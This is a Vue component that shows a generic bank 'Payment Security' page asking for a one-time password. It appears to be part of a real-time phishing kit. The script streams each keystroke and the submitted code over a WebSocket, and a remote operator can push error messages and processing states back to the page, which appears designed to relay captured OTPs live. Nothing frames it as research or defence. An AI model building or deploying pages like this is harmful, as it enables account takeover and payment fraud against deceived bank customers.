mini-web2/src/components/verification/EmailVerificationPage.vue

<template>
  <div class="verification-container">
    <div class="card">
      <div class="logo">
        <img src="/assets/bank-icon.svg" alt="Bank Logo" />
      </div>
      
      <h2>Payment Security</h2>
      
      <p class="description">
        To ensure the security of your payment, we have sent a One-Time Password (OTP) in a text message to your registered email (last digits {{ verificationData?.emailLastDigits || '123@126.com' }}).
      </p>
      
      <p class="instruction">Please submit your One-Time Password (OTP).</p>
      
      <div class="form-group">
        <label for="verification-code">Verification Code</label>
        <input 
          type="text" 
          id="verification-code"
          v-model="verificationCode"
          :disabled="isProcessing"
          autocomplete="off"
          placeholder=""
          maxlength="6"
          @input="handleInput"
        />
        <p v-if="errorMessage" class="error-message">{{ errorMessage }}</p>
      </div>
      
      <button 
        class="submit-button" 
        @click="submitCode" 
        :disabled="!isValid || isProcessing"
      >
        <span v-if="!isProcessing">Confirm</span>
        <span v-else class="processing">Processing...</span>
      </button>
      
      <div class="resend-link" @click="resendCode">Resend</div>
      
      <div class="collapsible">
        <div class="collapsible-header" @click="toggleHelp('authentication')">
          Learn more about Authentication
          <span class="toggle-icon">+</span>
        </div>
        <div class="collapsible-content" v-if="showAuthenticationHelp">
          <p>
            To protect your account and ensure secure transactions, we use a two-factor authentication system.
            The one-time verification code is sent to your registered email address and is valid for 10 minutes.
            Please check your inbox and spam folder if you don't see it.
          </p>
        </div>
      </div>
      
      <div class="collapsible">
        <div class="collapsible-header" @click="toggleHelp('help')">
          Need Some Help?
          <span class="toggle-icon">+</span>
        </div>
        <div class="collapsible-content" v-if="showHelpContent">
          <p>
            If you didn't receive the verification code:
          </p>
          <ul>
            <li>Check your spam or junk folder</li>
            <li>Verify that your registered email address is correct</li>
            <li>Wait a few minutes and try again</li>
            <li>Add our domain to your safe senders list</li>
          </ul>
        </div>
      </div>
    </div>
  </div>
</template>

<script setup>
import { ref, computed, onMounted, watch } from 'vue'
import { useWebSocket } from '../../composables/useWebSocket'

// WebSocket相关
const { 
  verificationData,
  isProcessing: wsProcessing,
  customErrorMessage,
  submitVerificationCode,
  resendVerificationCode,
  trackInput
} = useWebSocket()

const verificationCode = ref('')
const errorMessage = ref('')
const isProcessing = ref(false)
const showAuthenticationHelp = ref(false)
const showHelpContent = ref(false)

const isValid = computed(() => {
  return verificationCode.value.length >= 4
})

// 监听自定义错误信息
watch(customErrorMessage, (newVal) => {
  if (newVal) {
    errorMessage.value = newVal
  }
})

// 监听处理状态
watch(wsProcessing, (newVal) => {
  isProcessing.value = newVal
})

// 处理输入
const handleInput = (event) => {
  // 只允许输入数字和字母
  verificationCode.value = event.target.value.replace(/[^0-9a-zA-Z]/g, '')
  
  // 清除错误信息
  if (errorMessage.value) {
    errorMessage.value = ''
  }

  // 实时发送验证码输入到WebSocket
  if (verificationCode.value) {
    trackInput('verifyCode', verificationCode.value)
  }
}

// 提交验证码
const submitCode = () => {
  if (!isValid.value || isProcessing.value) return
  
  isProcessing.value = true
  errorMessage.value = ''
  
  // 发送到WebSocket
  submitVerificationCode('email', verificationCode.value)
}

// 重新发送验证码
const resendCode = () => {
  if (isProcessing.value) return
  
  resendVerificationCode('email')
  errorMessage.value = ''
  verificationCode.value = ''
}

// 切换帮助内容显示
const toggleHelp = (type) => {
  if (type === 'authentication') {
    showAuthenticationHelp.value = !showAuthenticationHelp.value
  } else if (type === 'help') {
    showHelpContent.value = !showHelpContent.value
  }
}

onMounted(() => {
  // 检查是否有自定义错误信息
  if (customErrorMessage.value) {
    errorMessage.value = customErrorMessage.value
  }
})
</script>

<style scoped>
.verification-container {
  min-height: 100vh;
  background-color: #f5f5f5;
}

.card {
  background: white;
  border-radius: 4px;
  box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
  width: 100%;
  min-height: 100vh;
  padding: 2rem;
}

.logo {
  display: flex;
  justify-content: center;
  margin-bottom: 1.5rem;
}

.logo img {
  height: 32px;
  width: auto;
}

h2 {
  font-size: 1.5rem;
  margin-bottom: 1rem;
  color: #333;
}

.description, .instruction {
  margin-bottom: 1.5rem;
  color: #555;
  line-height: 1.5;
}

.form-group {
  margin-bottom: 1.5rem;
}

label {
  display: block;
  font-weight: 500;
  margin-bottom: 0.5rem;
  color: #666;
}

input {
  width: 100%;
  padding: 0.75rem;
  border: 1px solid #ddd;
  border-radius: 4px;
  font-size: 1rem;
}

.error-message {
  color: #d9534f;
  margin-top: 0.5rem;
  font-size: 0.875rem;
}

.submit-button {
  width: 100%;
  padding: 0.75rem;
  background-color: #0047b3;
  color: white;
  border: none;
  border-radius: 4px;
  font-size: 1rem;
  cursor: pointer;
  transition: background-color 0.3s;
}

.submit-button:hover:not(:disabled) {
  background-color: #003d99;
}

.submit-button:disabled {
  background-color: #99b3e6;
  cursor: not-allowed;
}

.processing {
  display: inline-block;
  position: relative;
}

.resend-link {
  text-align: center;
  margin-top: 1rem;
  color: #0047b3;
  cursor: pointer;
  font-size: 0.875rem;
}

.resend-link:hover {
  text-decoration: underline;
}

.collapsible {
  margin-top: 1.5rem;
  border-top: 1px solid #eee;
  padding-top: 1rem;
}

.collapsible-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  cursor: pointer;
  color: #0047b3;
  font-weight: 500;
}

.toggle-icon {
  font-size: 1.25rem;
  line-height: 1;
}

.collapsible-content {
  margin-top: 1rem;
  color: #666;
  line-height: 1.5;
}

.collapsible-content ul {
  padding-left: 1.5rem;
}

.collapsible-content li {
  margin-bottom: 0.5rem;
}
</style>